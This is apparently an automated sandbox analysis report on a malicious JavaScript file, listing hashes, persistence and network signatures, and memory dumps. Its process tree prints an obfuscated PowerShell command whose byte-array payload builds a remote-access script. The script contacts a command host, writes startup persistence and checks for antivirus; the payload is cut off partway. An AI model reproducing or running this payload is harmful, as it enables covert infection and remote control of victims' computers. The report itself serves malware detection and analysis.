Analysis
-
max time kernel
128s -
max time network
127s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-04-2021 12:22
Static task
static1
Behavioral task
behavioral1
Sample
ID88910662802.js
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
-
Target
ID88910662802.js
-
Size
29KB
-
MD5
222e7ad19fb35b7108429b6040c3bff6
-
SHA1
a38b37964a19cb6fdcfd5110fb415f8d1ed943b5
-
SHA256
24819fecd0dbc69d5f646ca085ac76ddd5229f1762d8bb7938c1244e880e075a
-
SHA512
7a75ac4221734b01482638120e27ff5bff338a04820ad8fafaf246e898387fca956c73a17aca68d13c8900ebceb44db011f9536ecb3dbfa818f965c10ec8e76c
Malware Config
Signatures
-
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 6 1904 powershell.exe 7 1904 powershell.exe 8 1904 powershell.exe 9 1904 powershell.exe 10 1904 powershell.exe -
Drops startup file 2 IoCs
Processes:
wscript.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1904 powershell.exe 1904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1904 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 1084 wrote to memory of 1904 1084 wscript.exe powershell.exe PID 1084 wrote to memory of 1904 1084 wscript.exe powershell.exe PID 1084 wrote to memory of 1904 1084 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ID88910662802.js1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,13,10,13,10,36,104,116,116,112,111,98,106,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,36,104,32,61,32,34,119,111,116,111,117,115,102,114,99,111,111,108,46,120,121,122,34,13,10,36,112,32,61,32,34,56,55,48,52,34,13,10,36,86,98,115,80,97,116,104,32,61,32,34,37,86,98,115,112,97,116,104,37,34,13,10,36,83,84,85,80,67,111,112,121,32,61,32,34,37,83,116,97,114,116,117,112,37,34,13,10,36,115,112,108,32,61,32,34,124,86,124,34,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,13,10,102,117,110,99,116,105,111,110,32,73,110,115,40,41,32,123,13,10,32,32,32,32,36,68,101,115,116,105,110,97,116,105,111,110,32,61,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,52,32,43,32,51,41,32,43,32,34,92,34,32,43,32,34,83,121,115,116,101,109,84,114,97,121,54,52,46,106,115,34,13,10,32,32,32,32,105,102,32,40,36,83,84,85,80,67,111,112,121,32,45,101,113,32,34,84,114,117,101,34,41,32,123,13,10,32,32,32,32,32,32,32,36,67,111,109,109,97,110,100,32,61,32,40,66,105,110,97,114,121,50,83,116,114,105,110,103,40,34,44,46,44,44,44,44,46,46,44,46,46,44,46,46,46,46,44,46,46,46,44,44,44,44,44,46,46,46,46,44,44,46,44,44,46,44,46,46,44,46,44,46,44,44,46,44,44,46,44,46,46,46,44,46,44,44,44,46,46,44,44,46,44,46,44,46,46,44,46,46,44,46,34,46,82,101,112,108,97,99,101,40,34,44,34,44,32,34,48,34,41,46,82,101,112,108,97,99,101,40,34,46,34,44,32,34,49,34,41,41,41,32,43,32,34,32,39,34,32,43,32,36,86,98,115,80,97,116,104,32,43,32,34,39,32,39,34,32,43,32,36,68,101,115,116,105,110,97,116,105,111,110,32,43,32,34,39,34,13,10,32,32,32,32,32,32,32,35,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,67,111,109,109,97,110,100,13,10,32,32,32,32,125,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,32,123,13,10,91,99,109,100,108,101,116,66,105,110,100,105,110,103,40,41,93,32,32,32,32,32,13,10,112,97,114,97,109,32,40,32,13,10,91,115,116,114,105,110,103,93,36,67,111,109,112,117,116,101,114,78,97,109,101,32,61,32,34,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,34,32,44,32,13,10,36,67,114,101,100,101,110,116,105,97,108,32,13,10,41,32,13,10,32,32,32,32,66,69,71,73,78,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,119,109,105,81,117,101,114,121,32,61,32,34,83,69,76,69,67,84,32,42,32,70,82,79,77,32,65,110,116,105,86,105,114,117,115,80,114,111,100,117,99,116,34,13,10,32,32,32,32,32,32,32,32,125,13,10,32,32,32,32,80,82,79,67,69,83,83,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,32,61,32,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,78,97,109,101,115,112,97,99,101,32,34,114,111,111,116,92,83,101,99,117,114,105,116,121,67,101,110,116,101,114,50,34,32,45,81,117,101,114,121,32,36,119,109,105,81,117,101,114,121,32,32,64,112,115,98,111,117,110,100,112,97,114,97,109,101,116,101,114,115,32,32,32,32,32,32,32,32,32,32,13,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,46,100,105,115,112,108,97,121,78,97,109,101,13,10,32,32,32,32,32,32,32,32,125,32,13,10,32,32,32,32,69,78,68,32,123,32,13,10,32,32,32,32,32,32,32,32,125,32,13,10,125,13,10,13,10,70,117,110,99,116,105,111,110,32,66,105,110,97,114,121,50,83,116,114,105,110,103,40,91,83,116,114,105,110,103,93,32,36,100,97,116,97,41,32,123,13,10,32,32,32,32,36,98,121,116,101,76,105,115,116,32,61,32,91,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,93,58,58,110,101,119,40,41,13,10,32,32,32,32,102,111,114,32,40,36,105,32,61,32,48,59,32,36,105,32,45,108,116,32,36,100,97,116,97,46,76,101,110,103,116,104,59,32,36,105,32,43,61,56,41,32,123,13,10,32,32,32,32,32,32,32,32,36,98,121,116,101,76,105,115,116,46,65,100,100,40,91,67,111,110,118,101,114,116,93,58,58,84,111,66,121,116,101,40,36,100,97,116,97,46,83,117,98,115,116,114,105,110,103,40,36,105,44,32,56,41,44,32,50,41,41,13,10,32,32,32,32,125,13,10,32,32,32,32,114,101,116,117,114,110,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,65,83,67,73,73,46,71,101,116,83,116,114,105,11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- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1904-60-0x0000000000000000-mapping.dmp
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memory/1904-61-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmpFilesize
8KB
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memory/1904-62-0x0000000001E70000-0x0000000001E71000-memory.dmpFilesize
4KB
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memory/1904-63-0x000000001ABA0000-0x000000001ABA1000-memory.dmpFilesize
4KB
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memory/1904-64-0x000000001AAA0000-0x000000001AAA2000-memory.dmpFilesize
8KB
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memory/1904-65-0x000000001AAA4000-0x000000001AAA6000-memory.dmpFilesize
8KB
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memory/1904-66-0x0000000002460000-0x0000000002461000-memory.dmpFilesize
4KB
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memory/1904-67-0x0000000002490000-0x0000000002491000-memory.dmpFilesize
4KB
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memory/1904-68-0x000000001B980000-0x000000001B981000-memory.dmpFilesize
4KB
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memory/1904-69-0x000000001C620000-0x000000001C621000-memory.dmpFilesize
4KB